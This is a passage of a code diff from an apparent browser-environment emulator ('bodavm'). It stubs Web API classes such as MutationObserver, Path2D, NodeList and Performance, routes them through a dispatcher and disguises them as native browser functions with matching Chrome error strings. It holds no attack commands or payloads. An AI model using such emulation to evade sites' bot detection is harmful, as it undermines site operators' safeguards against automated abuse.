bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBVersionChangeEvent'], "IDBVersionChangeEvent"); +bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['IDBVersionChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "oldVersion", { + configurable: true, + enumerable: true, + get: function oldVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "oldVersion_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "newVersion", { + configurable: true, + enumerable: true, + get: function newVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "newVersion_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "dataLoss", { + configurable: true, + enumerable: true, + get: function dataLoss() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "dataLoss_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "dataLossMessage", { + configurable: true, + enumerable: true, + get: function dataLossMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "dataLossMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +// TextTrackList对象 + +bodavm.memory.globalobj['TextTrackList'] = function TextTrackList() { + console.log_copy('TextTrackList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextTrackList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackList'], "TextTrackList"); +bodavm.memory.globalobj['TextTrackList'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['TextTrackList'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('TextTrackList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "onaddtrack", { + configurable: true, + enumerable: true, + get: function onaddtrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onaddtrack_get", arguments); + }, + set: function onaddtrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onaddtrack_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "onremovetrack", { + configurable: true, + enumerable: true, + get: function onremovetrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onremovetrack_get", arguments); + }, + set: function onremovetrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onremovetrack_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "getTrackById", { + configurable: true, + enumerable: true, + writable: true, + value: function getTrackById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "getTrackById", arguments); + } +}, 'prototype'); +// SpeechSynthesisUtterance对象 + +bodavm.memory.globalobj['SpeechSynthesisUtterance'] = function SpeechSynthesisUtterance() { + console.log_copy('SpeechSynthesisUtterance 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.SpeechSynthesisUtterance(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisUtterance'], "SpeechSynthesisUtterance"); +bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SpeechSynthesisUtterance'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "lang", { + configurable: true, + enumerable: true, + get: function lang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "lang_get", arguments); + }, + set: function lang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "lang_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "voice", { + configurable: true, + enumerable: true, + get: function voice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "voice_get", arguments); + }, + set: function voice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "voice_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "volume", { + configurable: true, + enumerable: true, + get: function volume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "volume_get", arguments); + }, + set: function volume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "volume_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "rate", { + configurable: true, + enumerable: true, + get: function rate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "rate_get", arguments); + }, + set: function rate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "rate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "pitch", { + configurable: true, + enumerable: true, + get: function pitch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "pitch_get", arguments); + }, + set: function pitch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "pitch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onstart", { + configurable: true, + enumerable: true, + get: function onstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onstart_get", arguments); + }, + set: function onstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onend", { + configurable: true, + enumerable: true, + get: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onend_get", arguments); + }, + set: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onresume", { + configurable: true, + enumerable: true, + get: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onresume_get", arguments); + }, + set: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onresume_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onmark", { + configurable: true, + enumerable: true, + get: function onmark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onmark_get", arguments); + }, + set: function onmark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onmark_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onboundary", { + configurable: true, + enumerable: true, + get: function onboundary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onboundary_get", arguments); + }, + set: function onboundary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onboundary_set", arguments); + } +}, 'prototype'); +// MediaEncryptedEvent对象 + +bodavm.memory.globalobj['MediaEncryptedEvent'] = function MediaEncryptedEvent() { + console.log_copy('MediaEncryptedEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaEncryptedEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaEncryptedEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaEncryptedEvent'], "MediaEncryptedEvent"); +bodavm.memory.globalobj['MediaEncryptedEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaEncryptedEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaEncryptedEvent', "initDataType", { + configurable: true, + enumerable: true, + get: function initDataType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaEncryptedEvent'].prototype, "MediaEncryptedEvent", "initDataType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaEncryptedEvent', "initData", { + configurable: true, + enumerable: true, + get: function initData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaEncryptedEvent'].prototype, "MediaEncryptedEvent", "initData_get", arguments); + }, + set: undefined +}, 'prototype'); +// MutationObserver对象 + +bodavm.memory.globalobj['MutationObserver'] = function MutationObserver() { + console.log_copy('MutationObserver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MutationObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MutationObserver': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; + this._callbacck = arguments[0]; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationObserver'], "MutationObserver"); +bodavm.toolsFunc.defineProperty('MutationObserver', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationObserver', "observe", { + configurable: true, + enumerable: true, + writable: true, + value: function observe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "observe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationObserver', "takeRecords", { + configurable: true, + enumerable: true, + writable: true, + value: function takeRecords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "takeRecords", arguments); + } +}, 'prototype'); +// NamedNodeMap对象 + +bodavm.memory.globalobj['NamedNodeMap'] = function NamedNodeMap() { + console.log_copy('NamedNodeMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NamedNodeMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NamedNodeMap'], "NamedNodeMap"); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "getNamedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getNamedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "getNamedItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "getNamedItemNS", { + configurable: true, + enumerable: true, + writable: true, + value: function getNamedItemNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "getNamedItemNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "removeNamedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeNamedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "removeNamedItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "removeNamedItemNS", { + configurable: true, + enumerable: true, + writable: true, + value: function removeNamedItemNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "removeNamedItemNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "setNamedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function setNamedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "setNamedItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "setNamedItemNS", { + configurable: true, + enumerable: true, + writable: true, + value: function setNamedItemNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "setNamedItemNS", arguments); + } +}, 'prototype'); +// NodeList对象 + +bodavm.memory.globalobj['NodeList'] = function NodeList() { + console.log_copy('NodeList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NodeList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NodeList'], "NodeList"); +bodavm.toolsFunc.defineProperty('NodeList', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "item", arguments); + } +}, 'prototype'); +// OfflineAudioContext对象 + +bodavm.memory.globalobj['OfflineAudioContext'] = function OfflineAudioContext() { + console.log_copy('OfflineAudioContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OfflineAudioContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OfflineAudioContext': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OfflineAudioContext'], "OfflineAudioContext"); +bodavm.memory.globalobj['OfflineAudioContext'].prototype.__proto__ = bodavm.memory.globalobj['BaseAudioContext'].prototype; +bodavm.memory.globalobj['OfflineAudioContext'].__proto__ = bodavm.memory.globalobj['BaseAudioContext']; +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "oncomplete", { + configurable: true, + enumerable: true, + get: function oncomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "oncomplete_get", arguments); + }, + set: function oncomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "oncomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "resume", { + configurable: true, + enumerable: true, + writable: true, + value: function resume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "resume", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "startRendering", { + configurable: true, + enumerable: true, + writable: true, + value: function startRendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "startRendering", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "suspend", { + configurable: true, + enumerable: true, + writable: true, + value: function suspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "suspend", arguments); + } +}, 'prototype'); +// Path2D对象 + +bodavm.memory.globalobj['Path2D'] = function Path2D() { + console.log_copy('Path2D 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Path2D(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Path2D'], "Path2D"); +bodavm.toolsFunc.defineProperty('Path2D', "addPath", { + configurable: true, + enumerable: true, + writable: true, + value: function addPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "addPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "roundRect", { + configurable: true, + enumerable: true, + writable: true, + value: function roundRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "roundRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "arc", { + configurable: true, + enumerable: true, + writable: true, + value: function arc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "arc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "arcTo", { + configurable: true, + enumerable: true, + writable: true, + value: function arcTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "arcTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "bezierCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function bezierCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "bezierCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "closePath", { + configurable: true, + enumerable: true, + writable: true, + value: function closePath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "closePath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "ellipse", { + configurable: true, + enumerable: true, + writable: true, + value: function ellipse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "ellipse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "lineTo", { + configurable: true, + enumerable: true, + writable: true, + value: function lineTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "lineTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "moveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function moveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "moveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "quadraticCurveTo", { + configurable: true, + enumerable: true, + writable: true, + value: function quadraticCurveTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "quadraticCurveTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Path2D', "rect", { + configurable: true, + enumerable: true, + writable: true, + value: function rect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "rect", arguments); + } +}, 'prototype'); +// LockManager对象 + +bodavm.memory.globalobj['LockManager'] = function LockManager() { + console.log_copy('LockManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LockManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LockManager'], "LockManager"); +bodavm.toolsFunc.defineProperty('LockManager', "query", { + configurable: true, + enumerable: true, + writable: true, + value: function query() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LockManager'].prototype, "LockManager", "query", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LockManager', "request", { + configurable: true, + enumerable: true, + writable: true, + value: function request() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LockManager'].prototype, "LockManager", "request", arguments); + } +}, 'prototype'); +// XPathExpression对象 + +bodavm.memory.globalobj['XPathExpression'] = function XPathExpression() { + console.log_copy('XPathExpression 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XPathExpression)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathExpression'], "XPathExpression"); +bodavm.toolsFunc.defineProperty('XPathExpression', "evaluate", { + configurable: true, + enumerable: true, + writable: true, + value: function evaluate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathExpression'].prototype, "XPathExpression", "evaluate", arguments); + } +}, 'prototype'); +// Performance对象 + +bodavm.memory.globalobj['Performance'] = function Performance() { + console.log_copy('Performance 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Performance)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Performance'], "Performance"); +bodavm.memory.globalobj['Performance'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Performance'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Performance', "timeOrigin", { + configurable: true, + enumerable: true, + get: function timeOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "timeOrigin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "onresourcetimingbufferfull", { + configurable: true, + enumerable: true, + get: function onresourcetimingbufferfull() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "onresourcetimingbufferfull_get", arguments); + }, + set: function onresourcetimingbufferfull() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "onresourcetimingbufferfull_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "clearMarks", { + configurable: true, + enumerable: true, + writable: true, + value: function clearMarks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearMarks", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "clearMeasures", { + configurable: true, + enumerable: true, + writable: true, + value: function clearMeasures() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearMeasures", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "clearResourceTimings", { + configurable: true, + enumerable: true, + writable: true, + value: function clearResourceTimings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearResourceTimings", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "getEntries", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "getEntriesByName", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntriesByName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntriesByName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "getEntriesByType", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntriesByType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntriesByType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "mark", { + configurable: true, + enumerable: true, + writable: true, + value: function mark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "mark", arguments); + } 